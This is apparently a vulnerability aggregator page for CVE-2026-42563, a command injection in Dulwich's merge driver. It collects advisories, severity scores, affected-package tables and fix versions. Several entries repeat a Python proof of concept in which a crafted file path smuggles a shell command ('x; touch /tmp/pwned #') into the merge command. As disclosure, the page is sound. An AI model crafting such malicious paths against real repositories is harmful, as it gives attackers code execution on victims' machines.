CVE-2026-42563
Dulwich Vulnerable to Command Injection via Merge Driver Path
Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Passive
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.7
Dulwich Vulnerable to Command Injection via Merge Driver Path
Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.
- Record
CVE-2026-42563- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-78
- Updated
- 2026-11-02
EUVDEUVD-2026-36175
7.7
Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.
- Record
EUVD-2026-36175- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-9277-mp7x-85jf
7.7
Dulwich Vulnerable to Command Injection via Merge Driver Path
Summary
Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.
Description
- Type: Command Injection
- Source:
merge.pyline 195 — path from merge tree (from repository content when merging untrusted branch) - Sink:
merge_drivers.pylines 124–127 —subprocess.run(cmd, shell=True)wherecmdincludes path via%Pplaceholder - Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the
%Pplaceholder.
Resources
- Repository: https://github.com/dulwich/dulwich
- Vulnerable file:
dulwich/merge_drivers.py(lines 119–129)
Proof of Concept
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob
# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")
patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)
base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")
# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"
merge_blobs(base, ours, theirs, path=malicious_path,
gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned
Fix
- Record
GHSA-9277-mp7x-85jf- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-78
- Updated
- 2026-11-02
NVD
7.7
Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.
- Record
CVE-2026-42563- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Weakness
- CWE-78
- Updated
- 2026-11-02
OSV
7.7
Dulwich Vulnerable to Command Injection via Merge Driver Path
Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.
- Record
CVE-2026-42563- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-42563
7.7
Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.
- Record
DEBIAN-CVE-2026-42563- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - Updated
- 2026-11-02
Show 6 moreShow less
OSVGHSA-9277-mp7x-85jf
7.7
Dulwich Vulnerable to Command Injection via Merge Driver Path
Summary
Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.
Description
- Type: Command Injection
- Source:
merge.pyline 195 — path from merge tree (from repository content when merging untrusted branch) - Sink:
merge_drivers.pylines 124–127 —subprocess.run(cmd, shell=True)wherecmdincludes path via%Pplaceholder - Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the
%Pplaceholder.
Resources
- Repository: https://github.com/dulwich/dulwich
- Vulnerable file:
dulwich/merge_drivers.py(lines 119–129)
Proof of Concept
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob
# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")
patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)
base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")
# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"
merge_blobs(base, ours, theirs, path=malicious_path,
gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned
Fix
- Record
GHSA-9277-mp7x-85jf- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVPYSEC-2026-2464
7.7
Dulwich Vulnerable to Command Injection via Merge Driver Path
Summary
Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.
Description
- Type: Command Injection
- Source:
merge.pyline 195 — path from merge tree (from repository content when merging untrusted branch) - Sink:
merge_drivers.pylines 124–127 —subprocess.run(cmd, shell=True)wherecmdincludes path via%Pplaceholder - Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the
%Pplaceholder.
Resources
- Repository: https://github.com/dulwich/dulwich
- Vulnerable file:
dulwich/merge_drivers.py(lines 119–129)
Proof of Concept
from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob
# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")
patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)
base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")
# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"
merge_blobs(base, ours, theirs, path=malicious_path,
gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned
Fix
- Record
PYSEC-2026-2464- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-42563
7.7
Dulwich is a pure-Python implementation of the Git file formats and protocols. Starting in version 0.24.0 and prior to version 1.2.5, Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. Version 1.2.5 fixes the issue.
- Record
UBUNTU-CVE-2026-42563- CVSS 4.0
- 7.7 High
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
OSVCLSA-2026-1781052734 No score
TuxCare security update for dulwich (1 CVE)
TuxCare rebuilt dulwich to address 1 CVE. Fixed in 0.25.2.post2+tuxcare.
- Record
CLSA-2026-1781052734- Updated
- 2026-11-02
OSVopenSUSE-SU-2026:10900-1 No score
python311-dulwich-1.2.5-1.1 on GA media
These are all security issues fixed in the python311-dulwich-1.2.5-1.1 package on the GA media of openSUSE Tumbleweed.
- Record
openSUSE-SU-2026:10900-1- Updated
- 2026-11-02
OSVROOT-APP-PYPI-CVE-2026-42563 No score
CVE-2026-42563 in dulwich - Patched by Root
Root has patched CVE-2026-42563 in the dulwich package for Root:PyPI. Multiple fixed versions available.
- Record
ROOT-APP-PYPI-CVE-2026-42563- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
dulwichPyPI |
0.24.0 up to 1.2.5 | 1.2.5 |
dulwichTuxCare:PyPI |
0.25.2 up to 0.25.2.post2+tuxcare, plus listed versions 0.25.2.post1+tuxcare |
0.25.2.post2+tuxcare |
dulwichDebian:12 |
All versions, plus listed versions 0.21.2-10.21.5-10.21.6-10.22.5-10.22.7-1 Show 16 moreShow less0.22.7-20.24.10-10.24.2-10.24.2-21.0.0-11.0.0-21.1.0-11.1.0-21.1.0-31.2.0-11.2.1-11.2.11-11.2.12-11.2.5-11.2.7-11.2.7-2 |
None known |
dulwichDebian:13 |
All versions, plus listed versions 0.22.7-10.22.7-20.24.10-10.24.2-10.24.2-2 Show 12 moreShow less1.0.0-11.0.0-21.1.0-11.1.0-21.1.0-31.2.0-11.2.1-11.2.11-11.2.12-11.2.5-11.2.7-11.2.7-2 |
None known |
dulwichDebian:14 |
before 1.2.5-1, plus listed versions 0.22.7-10.22.7-20.24.10-10.24.2-10.24.2-2 Show 7 moreShow less1.0.0-11.0.0-21.1.0-11.1.0-21.1.0-31.2.0-11.2.1-1 |
1.2.5-1 |
dulwichPyPI |
0.24.0 up to 1.2.5, plus listed versions 0.24.10.24.100.24.20.24.30.24.4 Show 15 moreShow less0.24.50.24.60.24.70.24.80.24.90.25.00.25.10.25.21.0.01.1.01.2.01.2.11.2.21.2.31.2.4 |
1.2.5 |
dulwichRoot:PyPI |
before 1.1.0+aikido.1 | 1.1.0+aikido.11.1.0+aikido.21.0.0+aikido.21.1.0+aikido.31.0.0+aikido.31.1.0+aikido.41.1.0+aikido.51.0.0+aikido.4 |
rootio-dulwichRoot:PyPI |
before 1.1.0+root.io.1 | 1.1.0+root.io.11.1.0+root.io.21.0.0+root.io.21.1.0+root.io.31.0.0+root.io.31.1.0+root.io.4 |
dulwichUbuntu:16.04:LTS |
All versions, plus listed versions 0.11.2-1ubuntu10.12.0-10.12.0-1build10.12.0-1build2 |
None known |
dulwichUbuntu:18.04:LTS |
All versions, plus listed versions 0.18.2-1build10.18.5-1 |
None known |
Show 7 moreShow less
| Package | Affected | Fixed |
|---|---|---|
dulwichUbuntu:20.04:LTS |
All versions, plus listed versions 0.19.11-20.19.14-4ubuntu10.19.15-10.19.15-1build1 |
None known |
dulwichUbuntu:22.04:LTS |
All versions, plus listed versions 0.20.15-1ubuntu10.20.31-1ubuntu10.20.31-1.10.20.31-1.1build1 |
None known |
dulwichUbuntu:24.04:LTS |
All versions, plus listed versions 0.21.6-10.21.6-1build10.21.6-1build2 |
None known |
dulwichUbuntu:25.10 |
All versions, plus listed versions 0.22.7-1 |
None known |
dulwichUbuntu:26.10 |
All versions, plus listed versions 1.1.0-31.2.12-1 |
None known |
dulwichUbuntu:26.04:LTS |
All versions, plus listed versions 0.22.7-10.24.2-21.1.0-2ubuntu11.1.0-3 |
None known |
python-dulwichopenSUSE:Tumbleweed From an advisory covering 3 CVEs |
before 1.2.5-1.1 | 1.2.5-1.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected, facts | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-42563 is a high vulnerability (CVSS 7.7) in Jelmer Dulwich, published May 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.56%, the 46th percentile. Fixed in dulwich 1.2.5.
References
github.com/jelmer/dulwich/security/advisories/GHSA-9277-mp7x-85jf
github.com/jelmer/dulwich/commit/e3331b3b3a122fc313460182f928f59723580b7b
github.com/jelmer/dulwich/releases/tag/dulwich-1.2.5
nvd.nist.gov/vuln/detail/CVE-2026-42563
github.com/advisories/GHSA-9277-mp7x-85jf
github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42563.json